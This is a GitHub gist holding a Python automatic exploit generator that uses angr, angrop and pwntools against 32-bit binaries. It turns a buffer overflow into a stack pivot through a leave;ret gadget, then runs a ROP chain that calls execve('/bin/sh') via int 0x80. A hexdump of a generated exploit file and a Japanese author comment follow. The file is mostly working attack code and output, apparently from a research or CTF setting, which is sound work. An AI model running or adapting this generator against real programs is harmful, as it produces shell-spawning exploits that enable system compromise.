Skip to content

Instantly share code, notes, and snippets.

@mu-mu-mu
Last active August 27, 2021 05:56
Show Gist options
  • Save mu-mu-mu/513d30aa810f7c9ad171d09b87f9df64 to your computer and use it in GitHub Desktop.
Save mu-mu-mu/513d30aa810f7c9ad171d09b87f9df64 to your computer and use it in GitHub Desktop.
BoF -> Stack Pivot -> execve(0xb, "/bin/sh", {"/bin/sh",NULL}) をROPで実現するAEGを作りたかった...
import argparse
import angr #angr8
from angr import sim_options as so
import claripy
import logging
from struct import pack
from pwn import *
import angrop
bin_path = ''
input_path = "exploit.dat"
buggy_paths = []
int0x80_addr = 0xdeadfeef # 0xf7de8d85
def make_int0x80_rop_chain(eax, ebx, ecx):
p = angr.Project(bin_path)
rop = p.analyses.ROP()
rop.find_gadgets()
chain = rop.set_regs(eax = eax, ecx = ecx, ebx = ebx)
return chain.payload_str() + struct.pack("<I",int0x80_addr)
def merge_exploit(exp1, exp2, n):
return exp1[:n] + exp2[n:]
def get_leave_gadget():
p = angr.Project(bin_path)
CFG = p.analyses.CFGEmulated()
target_func = [f for f in p.kb.functions.values() if "__do_global_dtors_aux" == f.name] [0]
return target_func.addr + (0x1b) #offset
def rop_gen(simgr):
for state in simgr.unconstrained:
sym_addrs=[]
for _,symbol in state.solver.get_variables("file"):
sym_addrs.extend(state.memory.addrs_for_name(next(iter(symbol.variables))))
for _,symbol in state.solver.get_variables("mem"):
sym_addrs.extend(state.memory.addrs_for_name(next(iter(symbol.variables))))
mems = [x for x in sym_addrs if x < 0xc0000000] #User Memory Only
print(mems)
for mem in mems:
cp1 = state.copy() # Stack Pivot先のStackを作るためのState
cp2 = state.copy() # Stack PivotのためのBoF-ROPをするためのState
# ここに execve(0xb, "/bin/sh", {"/bin/sh",NULL}) の /bin/sh のメモリ構造を作る
# sh_pointer が ecx 用 {"/bin/sh",NULL}
# binsh が ebx 用 "/bin/sh"
offset = 0x60
f = []
for i in range(offset):
f.append( cp1.solver.BVS('x_%x' %(i), 8))
constraints = []
sh_pointer = cp1.memory.load(mem + offset, 4)
constraints.append( claripy.And(sh_pointer == cp1.solver.BVV( struct.pack('<I',mem + offset + 0x4))))
binsh = cp1.memory.load(mem + offset + 0x8, len(b'/bin/sh\x00'))
constraints.append( claripy.And(binsh == cp1.solver.BVV(b'/bin/sh\x00')))
null = cp1.memory.load(mem + offset + 0x10, 4)
constraints.append( claripy.And(null == cp1.solver.BVV(0,32)))
if not cp1.solver.satisfiable(extra_constraints=constraints):
continue
# ここで,Stack Pivotした後に実行するStackを準備
# dummy 4 Bytesの他は 基本的に Targetプログラムに存在するpop (レジスタ)系ガジェットを使用
# angrop が勝手にやってくれる (make_int0x80_rop_chain関数内)
offset2 = 0x110
m = cp1.solver.eval(mem)
payload = struct.pack('<I', 0xdeadbeef) + make_int0x80_rop_chain(eax = 0xb, ebx = m + offset + 0x8, ecx = m + offset)
c_bytestr = claripy.Concat(*f, sh_pointer, binsh, null)
f2 = []
for i in range(len(c_bytestr)//8, offset2):
f2.append( cp1.solver.BVS('x_%x' %(i), 8) )
buf = cp1.memory.load(mem + offset2 ,len(payload))
constraints.append(claripy.And(buf == cp1.solver.BVV(payload)))
# 以上のようなメモリレイアウトを作る入力ファイルを生成
bytestring = claripy.Concat(*f, sh_pointer, binsh, null, *f2, buf)
if cp1.solver.satisfiable(extra_constraints=constraints):
print("Mem map OK")
for c in constraints:
cp1.add_constraints(c)
else:
continue
#######################################################
# 以下BoFからの__do_global_dtors_aux関数のleave-retガジェットでStack Pivot
# Stackの移動先は next_esp
leave_gadget = get_leave_gadget()
next_esp = m + offset2
constraints = []
constraints.append(claripy.And(cp2.regs.pc == leave_gadget))
constraints.append(claripy.And(cp2.regs.ebp == next_esp))
if cp2.solver.satisfiable(extra_constraints=constraints):
print("Stack pivot OK")
for c in constraints:
cp2.add_constraints(c)
else:
continue
#######################################################
# 以下で cp1 で作ったファイルと cp2 で作ったファイルをマージ
# cp1 の方をConcretize
ifile = angr.storage.file.SimFile(input_path, bytestring)
cp1.fs.insert(input_path, ifile)
exploit_cp1 = cp1.posix.dump_file_by_path(input_path)
# cp2 の方をConcretize
exploit_cp2 = cp2.posix.dump_file_by_path(input_path)
# TODO: 本当はここでいい感じに(シンボリックに)cp2とcp1をマージしたい
# 今は人力 でマージ
exploit = merge_exploit(exploit_cp2, exploit_cp1, len(exploit_cp2))
#cpf, s, res = cp1.merge(cp2)
print("Generated exploit code!", exploit)
return simgr
def exploit_overflow(bin_path):
p = angr.Project(bin_path)
extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY}
argv = [bin_path, input_path]
state = p.factory.full_init_state(args = argv, add_options=extras)
simgr = p.factory.simgr(state,save_unconstrained=True)
simgr.explore(step_func=rop_gen)
def main():
parser = argparse.ArgumentParser()
parser.add_argument('file',help="File to analyze")
parser.add_argument('int0x80_addr',help="Find from the libc")
args = parser.parse_args()
if args.file is None:
print("[-] No file specified")
exit(1)
global bin_path, int0x80_addr
bin_path = args.file
int0x80_addr = int(args.int0x80_addr,16)
exploit_overflow(bin_path)
if __name__ == '__main__':
main()
"""
080491e0 <__do_global_dtors_aux>:
80491e0: 80 3d 48 c0 04 08 00 cmpb $0x0,0x804c048
80491e7: 75 17 jne 8049200 <__do_global_dtors_aux+0x20>
80491e9: 55 push %ebp
80491ea: 89 e5 mov %esp,%ebp
80491ec: 83 ec 08 sub $0x8,%esp
80491ef: e8 6c ff ff ff call 8049160 <deregister_tm_clones>
80491f4: c6 05 48 c0 04 08 01 movb $0x1,0x804c048
80491fb: c9 leave
80491fc: c3 ret
$ hexdump -C generated_file
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000010 40 02 10 08 20 40 01 10 20 40 02 08 08 40 40 40 |@... @.. @...@@@|
00000020 80 02 10 80 08 01 02 80 20 04 08 80 10 01 ff 7f |........ .......|
00000030 fb 91 04 08 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000060 64 00 ff 7f 2f 62 69 6e 2f 73 68 00 00 00 00 00 |d.../bin/sh.....|
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000110 ef be ad de dc 93 04 08 00 00 00 00 00 00 00 00 |................|
00000120 00 00 00 00 00 00 00 00 68 00 ff 7f 00 00 00 00 |........h.......|
00000130 60 00 ff 7f 0b 00 00 00 85 8d de f7 |`...........|
0000013c
"""
@mu-mu-mu
Copy link
Author

ターゲットのバイナリとint 0x80のアドレス(libc)を入力すると,ROPしてくるAEGを作った(気がする)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment